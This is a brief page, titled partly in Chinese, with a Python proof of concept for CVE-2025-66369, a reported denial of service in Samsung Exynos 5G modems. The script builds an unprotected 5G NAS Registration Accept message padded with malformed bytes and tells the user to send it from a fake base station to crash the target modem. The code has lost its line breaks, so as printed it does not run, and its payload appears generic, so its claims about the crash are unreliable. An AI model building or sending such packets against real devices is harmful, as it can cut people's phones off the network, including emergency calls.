CVE-2025-66369 Samsung Exynos 5G NR NAS DoS漏洞

#!/usr/bin/env python3 # PoC for CVE-2025-66369: Samsung Exynos 5G NR NAS DoS # This script demonstrates the structure of a malformed NAS message. # Actual transmission requires base station hardware (SDR). import struct def build_malformed_nas(): # 5G MM Message Type: Registration Accept (0x42) # Constructing a payload with invalid length fields to trigger the parsing bug # Extended Protocol Discriminator: 5G Mobility Management messages (0x7E) epd = bytes([0x7E]) # Security Header Type: Plain NAS message, not security protected (0x00) sec_header = bytes([0x00]) # Message Type: Registration Accept (0x42) msg_type = bytes([0x42]) # Malformed 5G GUTI or spare bytes # Sending an oversized string or unexpected IE to cause buffer overflow/crash malformed_payload = bytes([0x77]) + b'\x00' * 200 # Assemble the packet nas_packet = epd + sec_header + msg_type + malformed_payload return nas_packet if __name__ == "__main__": poc = build_malformed_nas() print(f"[*] CVE-2025-66369 PoC generated.") print(f"[*] Malformed NAS Packet Length: {len(poc)} bytes") print(f"[*] Hex Dump: {poc.hex()}") print("[*] Send this packet via a fake base station to target the Exynos modem.")